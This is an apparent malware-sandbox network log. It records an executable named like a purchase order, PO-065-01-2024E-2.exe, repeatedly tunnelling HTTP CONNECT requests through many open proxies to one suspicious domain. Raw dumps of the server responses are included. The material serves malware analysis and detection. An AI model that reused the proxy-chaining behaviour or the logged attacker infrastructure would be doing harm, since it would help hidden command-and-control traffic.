Mar 11, 2024 16:39:49.443165064 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Content-Length: 3172 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 5a 65 72 6f 20 31 31 2e 32 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 2c 20 4d 50 47 2c 20 4d 69 6b 65 20 47 6c 65 61 76 65 73 2c 20 52 69 63 2c 20 55 6e 69 53 65 72 76 65 72 2c 20 4f 6c 61 6a 69 64 65 2c 20 42 6f 62 53 20 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2e 69 6e 74 72 6f 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 37 45 37 46 44 3b 0d 0a 7d 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0d 0a 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6e 69 66 6f 72 6d 73 65 72 76 65 72 2e 63 6f 6d 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 61 6c 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 22 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>The Uniform Server </title><meta name="Description" content="The Uniform Server Zero 11.2.0" /><meta name="Keywords" content="The Uniform Server, MPG, Mike Gleaves, Ric, UniServer, Olajide, BobS " /><link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /></head><style type="text/css">/***************************************/.intro{ margin-top:30px; padding:10px; font-size:12px; font-family:Verdana; background-color: #E7E7FD;}/***************************************/</style><body><div id="wrap"> <div id="header"> <a href="http://www.uniformserver.com"><img src="images/logo.png" align="left" alt="The Uniform Server"
Mar 11, 2024 16:39:49.776222944 CET	454	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:39:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.10	53262	192.162.232.15	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.164988041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.10	52963	104.250.117.48	7070	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.168190956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.207815886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.208255053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.208224058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.207727909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:25.207633972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:37.209543943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:01.211503983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:49.271439075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.10	53415	104.16.72.45	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.173962116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.328202009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.10	53417	185.162.228.170	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.174134970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.328596115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.10	53442	104.27.12.22	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.196768999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.351022005 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.10	53295	219.243.212.118	8443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.199886084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.526509047 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.10	53298	185.49.30.5	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.200227976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.10	53274	116.106.105.55	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.201667070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.10	51489	41.223.234.116	37259	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.203907967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.10	53289	103.179.139.170	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.222230911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.048019886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.158308029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411473989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.911016941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.301731110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.801518917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.504578114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:32.911530972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.10	53245	103.163.51.254	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.231930971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.10	53319	109.199.109.144	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.246059895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.909221888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.879734993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.178169966 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.10	53407	162.223.94.166	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.248754025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.510967016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.10	53329	5.135.83.214	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.252100945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.562082052 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.10	53369	51.15.223.12	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.262154102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.988985062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973661900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
